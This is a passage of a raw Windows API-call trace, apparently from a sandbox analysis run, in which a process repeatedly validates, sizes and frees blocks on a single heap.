0x390000 [0076.808] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acc90) returned 1 [0076.808] GetProcessHeap () returned 0x390000 [0076.808] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acc90) returned 0x20 [0076.809] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acc90 | out: hHeap=0x390000) returned 1 [0076.809] GetProcessHeap () returned 0x390000 [0076.809] GetProcessHeap () returned 0x390000 [0076.809] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac3b0) returned 1 [0076.809] GetProcessHeap () returned 0x390000 [0076.809] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac3b0) returned 0x74 [0076.810] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac3b0 | out: hHeap=0x390000) returned 1 [0076.810] GetProcessHeap () returned 0x390000 [0076.810] GetProcessHeap () returned 0x390000 [0076.810] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6a0) returned 1 [0076.810] GetProcessHeap () returned 0x390000 [0076.810] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad6a0) returned 0x18 [0076.810] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6a0 | out: hHeap=0x390000) returned 1 [0076.810] GetProcessHeap () returned 0x390000 [0076.810] GetProcessHeap () returned 0x390000 [0076.810] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acc60) returned 1 [0076.810] GetProcessHeap () returned 0x390000 [0076.810] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acc60) returned 0x20 [0076.812] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acc60 | out: hHeap=0x390000) returned 1 [0076.812] GetProcessHeap () returned 0x390000 [0076.812] GetProcessHeap () returned 0x390000 [0076.812] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ade10) returned 1 [0076.812] GetProcessHeap () returned 0x390000 [0076.812] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ade10) returned 0x76 [0076.813] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ade10 | out: hHeap=0x390000) returned 1 [0076.813] GetProcessHeap () returned 0x390000 [0076.813] GetProcessHeap () returned 0x390000 [0076.813] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad640) returned 1 [0076.814] GetProcessHeap () returned 0x390000 [0076.814] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad640) returned 0x18 [0076.814] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad640 | out: hHeap=0x390000) returned 1 [0076.814] GetProcessHeap () returned 0x390000 [0076.814] GetProcessHeap () returned 0x390000 [0076.814] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acc30) returned 1 [0076.814] GetProcessHeap () returned 0x390000 [0076.814] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acc30) returned 0x20 [0076.815] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acc30 | out: hHeap=0x390000) returned 1 [0076.815] GetProcessHeap () returned 0x390000 [0076.815] GetProcessHeap () returned 0x390000 [0076.815] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac490) returned 1 [0076.815] GetProcessHeap () returned 0x390000 [0076.815] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac490) returned 0xe [0076.815] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac490 | out: hHeap=0x390000) returned 1 [0076.815] GetProcessHeap () returned 0x390000 [0076.815] GetProcessHeap () returned 0x390000 [0076.815] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac470) returned 1 [0076.815] GetProcessHeap () returned 0x390000 [0076.815] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac470) returned 0x18 [0076.815] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac470 | out: hHeap=0x390000) returned 1 [0076.815] GetProcessHeap () returned 0x390000 [0076.815] GetProcessHeap () returned 0x390000 [0076.815] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5e50) returned 1 [0076.815] GetProcessHeap () returned 0x390000 [0076.815] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5e50) returned 0x20 [0076.816] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5e50 | out: hHeap=0x390000) returned 1 [0076.816] GetProcessHeap () returned 0x390000 [0076.816] GetProcessHeap () returned 0x390000 [0076.816] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abd50) returned 1 [0076.816] GetProcessHeap () returned 0x390000 [0076.816] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abd50) returned 0x208 [0076.817] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abd50 | out: hHeap=0x390000) returned 1 [0076.817] GetProcessHeap () returned 0x390000 [0076.817] GetProcessHeap () returned 0x390000 [0076.817] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abbb0) returned 1 [0076.817] GetProcessHeap () returned 0x390000 [0076.817] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abbb0) returned 0x18 [0076.817] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abbb0 | out: hHeap=0x390000) returned 1 [0076.817] GetProcessHeap () returned 0x390000 [0076.817] GetProcessHeap () returned 0x390000 [0076.817] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5d60) returned 1 [0076.817] GetProcessHeap () returned 0x390000 [0076.817] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5d60) returned 0x20 [0076.818] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5d60 | out: hHeap=0x390000) returned 1 [0076.818] GetProcessHeap () returned 0x390000 [0076.818] GetProcessHeap () returned 0x390000 [0076.818] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad400) returned 1 [0076.818] GetProcessHeap () returned 0x390000 [0076.818] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad400) returned 0x200 [0076.818] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad400 | out: hHeap=0x390000) returned 1 [0076.818] GetProcessHeap () returned 0x390000 [0076.818] GetProcessHeap () returned 0x390000 [0076.818] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abbf0) returned 1 [0076.818] GetProcessHeap () returned 0x390000 [0076.818] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abbf0) returned 0x18 [0076.818] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abbf0 | out: hHeap=0x390000) returned 1 [0076.819] GetProcessHeap () returned 0x390000 [0076.819] GetProcessHeap () returned 0x390000 [0076.819] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5cd0) returned 1 [0076.819] GetProcessHeap () returned 0x390000 [0076.819] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5cd0) returned 0x20 [0076.819] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5cd0 | out: hHeap=0x390000) returned 1 [0076.819] GetProcessHeap () returned 0x390000 [0076.819] GetProcessHeap () returned 0x390000 [0076.819] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac360) returned 1 [0076.819] GetProcessHeap () returned 0x390000 [0076.819] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac360) returned 0x14 [0076.819] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac360 | out: hHeap=0x390000) returned 1 [0076.819] GetProcessHeap () returned 0x390000 [0076.819] GetProcessHeap () returned 0x390000 [0076.819] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac340) returned 1 [0076.819] GetProcessHeap () returned 0x390000 [0076.819] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac340) returned 0x18 [0076.820] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac340 | out: hHeap=0x390000) returned 1 [0076.820] GetProcessHeap () returned 0x390000 [0076.820] GetProcessHeap () returned 0x390000 [0076.820] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5c10) returned 1 [0076.820] GetProcessHeap () returned 0x390000 [0076.820] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5c10) returned 0x20 [0076.820] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5c10 | out: hHeap=0x390000) returned 1 [0076.820] GetProcessHeap () returned 0x390000 [0076.820] GetProcessHeap () returned 0x390000 [0076.820] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac380) returned 1 [0076.820] GetProcessHeap () returned 0x390000 [0076.820] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac380) returned 0x16 [0076.821] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac380 | out: hHeap=0x390000) returned 1 [0076.821] GetProcessHeap () returned 0x390000 [0076.821] GetProcessHeap () returned 0x390000 [0076.821] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac200) returned 1 [0076.821] GetProcessHeap () returned 0x390000 [0076.821] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac200) returned 0x18 [0076.821] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac200 | out: hHeap=0x390000) returned 1 [0076.821] GetProcessHeap () returned 0x390000 [0076.821] GetProcessHeap () returned 0x390000 [0076.821] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5be0) returned 1 [0076.821] GetProcessHeap () returned 0x390000 [0076.821] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5be0) returned 0x20 [0076.821] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5be0 | out: hHeap=0x390000) returned 1 [0076.821] GetProcessHeap () returned 0x390000 [0076.821] GetProcessHeap () returned 0x390000 [0076.822] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb30) returned 1 [0076.822] GetProcessHeap () returned 0x390000 [0076.822] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abb30) returned 0x2 [0076.822] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb30 | out: hHeap=0x390000) returned 1 [0076.822] GetProcessHeap () returned 0x390000 [0076.822] GetProcessHeap () returned 0x390000 [0076.822] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5a30) returned 1 [0076.822] GetProcessHeap () returned 0x390000 [0076.822] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5a30) returned 0x20 [0076.822] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5a30 | out: hHeap=0x390000) returned 1 [0076.823] GetProcessHeap () returned 0x390000 [0076.824] GetProcessHeap () returned 0x390000 [0076.824] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5a60) returned 1 [0076.824] GetProcessHeap () returned 0x390000 [0076.824] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5a60) returned 0x20 [0076.824] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5a60 | out: hHeap=0x390000) returned 1 [0076.825] GetProcessHeap () returned 0x390000 [0076.825] GetProcessHeap () returned 0x390000 [0076.825] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5a90) returned 1 [0076.825] GetProcessHeap () returned 0x390000 [0076.825] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5a90) returned 0x20 [0076.825] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5a90 | out: hHeap=0x390000) returned 1 [0076.825] GetProcessHeap () returned 0x390000 [0076.825] GetProcessHeap () returned 0x390000 [0076.825] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5ac0) returned 1 [0076.825] GetProcessHeap () returned 0x390000 [0076.825] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5ac0) returned 0x20 [0076.826] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5ac0 | out: hHeap=0x390000) returned 1 [0076.826] GetProcessHeap () returned 0x390000 [0076.826] GetProcessHeap () returned 0x390000 [0076.826] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3accc0) returned 1 [0076.826] GetProcessHeap () returned 0x390000 [0076.826] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3accc0) returned 0x20 [0076.827] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3accc0 | out: hHeap=0x390000) returned 1 [0076.827] GetProcessHeap () returned 0x390000 [0076.827] GetProcessHeap () returned 0x390000 [0076.827] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad7a0) returned 1 [0076.827] GetProcessHeap () returned 0x390000 [0076.827] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad7a0) returned 0xe [0076.827] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad7a0 | out: hHeap=0x390000) returned 1 [0076.827] GetProcessHeap () returned 0x390000 [0076.827] GetProcessHeap () returned 0x390000 [0076.827] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3accf0) returned 1 [0076.827] GetProcessHeap () returned 0x390000 [0076.827] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3accf0) returned 0x20 [0076.828] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3accf0 | out: hHeap=0x390000) returned 1 [0076.828] GetProcessHeap () returned 0x390000 [0076.828] GetProcessHeap () returned 0x390000 [0076.828] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a7bc0) returned 1 [0076.828] GetProcessHeap () returned 0x390000 [0076.828] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a7bc0) returned 0x30 [0076.829] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a7bc0 | out: hHeap=0x390000) returned 1 [0076.829] GetProcessHeap () returned 0x390000 [0076.829] GetProcessHeap () returned 0x390000 [0076.829] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd20) returned 1 [0076.829] GetProcessHeap () returned 0x390000 [0076.829] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acd20) returned 0x20 [0076.829] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd20 | out: hHeap=0x390000) returned 1 [0076.829] GetProcessHeap () returned 0x390000 [0076.830] GetProcessHeap () returned 0x390000 [0076.830] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a7c00) returned 1 [0076.830] GetProcessHeap () returned 0x390000 [0076.830] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a7c00) returned 0x30 [0076.830] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a7c00 | out: hHeap=0x390000) returned 1 [0076.830] GetProcessHeap () returned 0x390000 [0076.830] GetProcessHeap () returned 0x390000 [0076.830] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acea0) returned 1 [0076.830] GetProcessHeap () returned 0x390000 [0076.830] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acea0) returned 0x20 [0076.831] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acea0 | out: hHeap=0x390000) returned 1 [0076.831] GetProcessHeap () returned 0x390000 [0076.831] GetProcessHeap () returned 0x390000 [0076.831] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6c0) returned 1 [0076.831] GetProcessHeap () returned 0x390000 [0076.831] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad6c0) returned 0xe [0076.831] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6c0 | out: hHeap=0x390000) returned 1 [0076.831] GetProcessHeap () returned 0x390000 [0076.831] GetProcessHeap () returned 0x390000 [0076.831] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace70) returned 1 [0076.831] GetProcessHeap () returned 0x390000 [0076.831] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ace70) returned 0x20 [0076.832] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace70 | out: hHeap=0x390000) returned 1 [0076.832] GetProcessHeap () returned 0x390000 [0076.832] GetProcessHeap () returned 0x390000 [0076.832] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6e0) returned 1 [0076.832] GetProcessHeap () returned 0x390000 [0076.832] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad6e0) returned 0x16 [0076.832] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6e0 | out: hHeap=0x390000) returned 1 [0076.832] GetProcessHeap () returned 0x390000 [0076.832] GetProcessHeap () returned 0x390000 [0076.832] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace40) returned 1 [0076.832] GetProcessHeap () returned 0x390000 [0076.832] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ace40) returned 0x20 [0076.833] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace40 | out: hHeap=0x390000) returned 1 [0076.833] GetProcessHeap () returned 0x390000 [0076.833] GetProcessHeap () returned 0x390000 [0076.833] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad700) returned 1 [0076.833] GetProcessHeap () returned 0x390000 [0076.833] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad700) returned 0x16 [0076.833] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad700 | out: hHeap=0x390000) returned 1 [0076.833] GetProcessHeap () returned 0x390000 [0076.833] GetProcessHeap () returned 0x390000 [0076.833] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace10) returned 1 [0076.833] GetProcessHeap () returned 0x390000 [0076.833] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ace10) returned 0x20 [0076.834] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace10 | out: hHeap=0x390000) returned 1 [0076.834] GetProcessHeap () returned 0x390000 [0076.834] GetProcessHeap () returned 0x390000 [0076.834] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3c9ce0) returned 1 [0076.834] GetProcessHeap () returned 0x390000 [0076.834] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3c9ce0) returned 0x82 [0076.834] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3c9ce0 | out: hHeap=0x390000) returned 1 [0076.834] GetProcessHeap () returned 0x390000 [0076.834] GetProcessHeap () returned 0x390000 [0076.834] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acde0) returned 1 [0076.834] GetProcessHeap () returned 0x390000 [0076.834] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acde0) returned 0x20 [0076.835] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acde0 | out: hHeap=0x390000) returned 1 [0076.835] GetProcessHeap () returned 0x390000 [0076.835] GetProcessHeap () returned 0x390000 [0076.835] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad740) returned 1 [0076.835] GetProcessHeap () returned 0x390000 [0076.835] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad740) returned 0xe [0076.835] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad740 | out: hHeap=0x390000) returned 1 [0076.835] GetProcessHeap () returned 0x390000 [0076.835] GetProcessHeap () returned 0x390000 [0076.835] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acdb0) returned 1 [0076.835] GetProcessHeap () returned 0x390000 [0076.835] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acdb0) returned 0x20 [0076.836] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acdb0 | out: hHeap=0x390000) returned 1 [0076.836] GetProcessHeap () returned 0x390000 [0076.836] GetProcessHeap () returned 0x390000 [0076.836] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad760) returned 1 [0076.836] GetProcessHeap () returned 0x390000 [0076.836] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad760) returned 0xa [0076.836] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad760 | out: hHeap=0x390000) returned 1 [0076.836] GetProcessHeap () returned 0x390000 [0076.836] GetProcessHeap () returned 0x390000 [0076.836] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd80) returned 1 [0076.836] GetProcessHeap () returned 0x390000 [0076.836] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acd80) returned 0x20 [0076.837] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd80 | out: hHeap=0x390000) returned 1 [0076.837] GetProcessHeap () returned 0x390000 [0076.837] GetProcessHeap () returned 0x390000 [0076.837] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad780) returned 1 [0076.837] GetProcessHeap () returned 0x390000 [0076.837] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad780) returned 0xc [0076.837] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad780 | out: hHeap=0x390000) returned 1 [0076.837] GetProcessHeap () returned 0x390000 [0076.837] GetProcessHeap () returned 0x390000 [0076.837] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd50) returned 1 [0076.837] GetProcessHeap () returned 0x390000 [0076.837] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acd50) returned 0x20 [0076.837] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd50 | out: hHeap=0x390000) returned 1 [0076.838] GetProcessHeap () returned 0x390000 [0076.838] GetProcessHeap () returned 0x390000 [0076.838] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb50) returned 1 [0076.838] GetProcessHeap () returned 0x390000 [0076.839] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abb50) returned 0x18 [0076.839] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb50 | out: hHeap=0x390000) returned 1 [0076.839] GetProcessHeap () returned 0x390000 [0076.839] GetProcessHeap () returned 0x390000 [0076.839] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5af0) returned 1 [0076.840] GetProcessHeap () returned 0x390000 [0076.840] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5af0) returned 0x20 [0076.840] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5af0 | out: hHeap=0x390000) returned 1 [0076.840] GetProcessHeap () returned 0x390000 [0076.840] GetProcessHeap () returned 0x390000 [0076.840] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5b20) returned 1 [0076.840] GetProcessHeap () returned 0x390000 [0076.840] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5b20) returned 0x20 [0076.841] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5b20 | out: hHeap=0x390000) returned 1 [0076.841] GetProcessHeap () returned 0x390000 [0076.841] GetProcessHeap () returned 0x390000 [0076.841] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5b50) returned 1 [0076.841] GetProcessHeap () returned 0x390000 [0076.841] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5b50) returned 0x20 [0076.842] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5b50 | out: hHeap=0x390000) returned 1 [0076.842] GetProcessHeap () returned 0x390000 [0076.842] GetProcessHeap () returned 0x390000 [0076.842] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5b80) returned 1 [0076.842] GetProcessHeap () returned 0x390000 [0076.842] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5b80) returned 0x20 [0076.843] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5b80 | out: hHeap=0x390000) returned 1 [0076.843] GetProcessHeap () returned 0x390000 [0076.843] GetProcessHeap () returned 0x390000 [0076.843] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb70) returned 1 [0076.843] GetProcessHeap () returned 0x390000 [0076.843] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abb70) returned 0x18 [0076.844] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb70 | out: hHeap=0x390000) returned 1 [0076.844] GetProcessHeap () returned 0x390000 [0076.844] GetProcessHeap () returned 0x390000 [0076.844] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5bb0) returned 1 [0076.844] GetProcessHeap () returned 0x390000 [0076.844] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5bb0) returned 0x20 [0076.844] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5bb0 | out: hHeap=0x390000) returned 1 [0076.844] GetProcessHeap () returned 0x390000 [0076.844] GetProcessHeap () returned 0x390000 [0076.844] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5c40) returned 1 [0076.844] GetProcessHeap () returned 0x390000 [0076.844] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5c40) returned 0x20 [0076.845] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5c40 | out: hHeap=0x390000) returned 1 [0076.845] GetProcessHeap () returned 0x390000 [0076.845] GetProcessHeap () returned 0x390000 [0076.845] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5ca0) returned 1 [0076.845] GetProcessHeap () returned 0x390000 [0076.845] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5ca0) returned 0x20 [0076.846] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5ca0 | out: hHeap=0x390000) returned 1 [0076.846] GetProcessHeap () returned 0x390000 [0076.846] GetProcessHeap () returned 0x390000 [0076.846] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5d00) returned 1 [0076.846] GetProcessHeap () returned 0x390000 [0076.846] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5d00) returned 0x20 [0076.846] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5d00 | out: hHeap=0x390000) returned 1 [0076.846] GetProcessHeap () returned 0x390000 [0076.846] GetProcessHeap () returned 0x390000 [0076.846] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5d30) returned 1 [0076.846] GetProcessHeap () returned 0x390000 [0076.846] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5d30) returned 0x20 [0076.847] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5d30 | out: hHeap=0x390000) returned 1 [0076.847] GetProcessHeap () returned 0x390000 [0076.847] GetProcessHeap () returned 0x390000 [0076.847] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb90) returned 1 [0076.847] GetProcessHeap () returned 0x390000 [0076.847] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abb90) returned 0x18 [0076.847] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb90 | out: hHeap=0x390000) returned 1 [0076.847] GetProcessHeap () returned 0x390000 [0076.847] GetProcessHeap () returned 0x390000 [0076.847] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5c70) returned 1 [0076.847] GetProcessHeap () returned 0x390000 [0076.847] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5c70) returned 0x20 [0076.848] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5c70 | out: hHeap=0x390000) returned 1 [0076.848] GetProcessHeap () returned 0x390000 [0076.848] GetProcessHeap () returned 0x390000 [0076.848] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb10) returned 1 [0076.848] GetProcessHeap () returned 0x390000 [0076.848] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abb10) returned 0x18 [0076.848] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb10 